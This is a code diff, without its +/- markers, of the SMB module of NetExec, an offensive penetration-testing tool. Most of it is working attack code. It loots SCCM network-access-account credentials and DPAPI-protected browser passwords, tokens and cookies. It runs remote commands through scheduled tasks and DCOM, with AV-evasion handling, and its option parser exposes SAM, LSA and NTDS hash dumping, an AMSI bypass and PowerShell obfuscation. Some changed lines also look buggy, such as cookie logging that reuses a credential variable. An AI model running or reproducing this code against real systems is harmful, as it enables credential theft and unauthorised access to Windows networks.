full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.host)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -1294,21 +1246,19 @@ class smb(connection):
dce.disconnect()
return entries
def put_file_single(self, src, dst):
self.logger.display(f"Copying {src} to {dst}")
with open(src, "rb") as file:
def put_file(self):
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as file:
try:
self.conn.putFile(self.args.share, dst, file.read)
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def get_file(self):
share_name = self.args.share
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
@@ -1321,11 +1271,6 @@ class smb(connection):
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1380,67 +1325,10 @@ class smb(connection):
except Exception as e:
self.logger.exception(str(e))
@requires_admin
def sccm(self):
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
dpapiSystem={},
)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
try:
# Collect Chrome Based Browser stored secrets
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
for sccmcred in sccmcreds:
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
for sccmtask in sccmtasks:
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
for sccmcollection in sccmcollections:
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
logging.getLogger("dploot").disabled = True
if self.args.pvk is not None:
try:
@@ -1531,7 +1419,6 @@ class smb(connection):
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1591,34 +1478,22 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
for credential in browser_credentials:
if isinstance(credential, LoginData):
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
elif isinstance(credential, GoogleRefreshToken):
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.service,
credential.token,
"Google Refresh Token",
)
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
@@ -1662,7 +1537,7 @@ class smb(connection):
credential.url,
)
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
@@ -1799,6 +1674,3 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
NTDS.finish()
def mark_guest(self):
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
+7 -22
View File
@@ -7,7 +7,7 @@ from time import sleep
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -19,7 +19,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -38,7 +37,6 @@ class TSCH_EXEC:
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -133,7 +131,7 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
@@ -181,35 +179,22 @@ class TSCH_EXEC:
else:
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(3)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
+18 -35
View File
@@ -58,28 +58,26 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
self.__host = host
self.__username = username
self.__password = password
self.__smbconnection = smbconnection
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share = share
self.__timeout = timeout
self.__smbconnection = smbconnection
self.__share_name = share_name
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "c:\\windows\\system32\\cmd.exe"
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__quit = None
self.__executeShellCommand = None
self.__retOutput = True
self.__stringBinding = ""
self.__share = share
self.__dcom = None
self.__tries = tries
self.__timeout = timeout
self.logger = logger
if hashes is not None:
@@ -89,24 +87,21 @@ class MMCEXEC:
self.__nthash = hashes
self.__dcom = DCOMConnection(
self.__target,
self.__host,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
None,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception:
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -247,35 +242,23 @@ class MMCEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
# Output not finished, let's wait
sleep(2)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
-4
View File
@@ -80,8 +80,6 @@ class PassPolDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.pass_pol = {}
@@ -114,8 +112,6 @@ class PassPolDump:
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
kdcHost=self.kdcHost,
remote_host=self.host,
)
try:
self.fetchList(rpctransport)
+60 -68
View File
@@ -1,90 +1,82 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
spidering_group = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider")
spidering_group.add_argument("--content", action="store_true", help="enable file content searching")
spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
spidering_group.add_argument("--depth", type=int, help="max spider recursion depth")
spidering_group.add_argument("--only-files", action="store_true", help="only spider files")
segroup = spidering_group.add_mutually_exclusive_group()
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions")
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
egroup.add_argument("--pass-pol", action="store_true", help="dump password policy")
egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)")
egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)")
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)")
sgroup.add_argument("--content", action="store_true", help="enable file content searching")
sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content")
segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content")
sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)")
sgroup.add_argument("--only-files", action="store_true", help="only spider files")
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser
+17 -14
View File
@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
@@ -25,7 +25,6 @@ class SamrFunc:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.kdcHost = connection.kdcHost
if self.hash is not None:
if self.hash.find(":") != -1:
@@ -36,8 +35,16 @@ class SamrFunc:
if self.password is None:
self.password = ""
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
self.samr_query = SAMRQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
def get_builtin_groups(self):
domains = self.samr_query.get_domains()
@@ -49,6 +56,7 @@ class SamrFunc:
domain_handle = self.samr_query.get_domain_handle("Builtin")
return self.samr_query.get_domain_aliases(domain_handle)
def get_custom_groups(self):
domains = self.samr_query.get_domains()
custom_groups = {}
@@ -91,7 +99,6 @@ class SAMRQuery:
remote_name="",
remote_host="",
kerberos=None,
kdcHost="",
aesKey="",
):
self.__username = username
@@ -104,7 +111,6 @@ class SAMRQuery:
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kerberos = kerberos
self.__kdcHost = kdcHost
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
@@ -113,7 +119,7 @@ class SAMRQuery:
nxc_logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(
self.__remote_name,
self.__remote_host,
self.__port,
r"\samr",
self.__username,
@@ -123,12 +129,10 @@ class SAMRQuery:
self.__nthash,
self.__aesKey,
doKerberos=self.__kerberos,
kdcHost=self.__kdcHost,
)
def get_dce(self):
rpc_transport = self.get_transport()
rpc_transport.setRemoteHost(self.__remote_host)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
@@ -164,7 +168,7 @@ class SAMRQuery:
def get_domain_aliases(self, domain_handle):
"""Use a dictionary comprehension to generate the aliases dictionary.
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
"""
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -180,7 +184,7 @@ class SAMRQuery:
class LSAQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
self.__username = username
self.__password = password
self.__domain = domain
@@ -190,7 +194,6 @@ class LSAQuery:
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kdcHost = kdcHost
self.__kerberos = kerberos
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
@@ -202,7 +205,7 @@ class LSAQuery:
rpc_transport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__remote_host)
if self.__kerberos:
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
rpc_transport.set_kerberos(True, None)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
@@ -234,7 +237,7 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
+5 -8
View File
@@ -25,8 +25,6 @@ class UserSamrDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []
self.rpc_transport = None
@@ -51,7 +49,8 @@ class UserSamrDump:
self.logger.debug(f"Invalid Protocol: {protocol}")
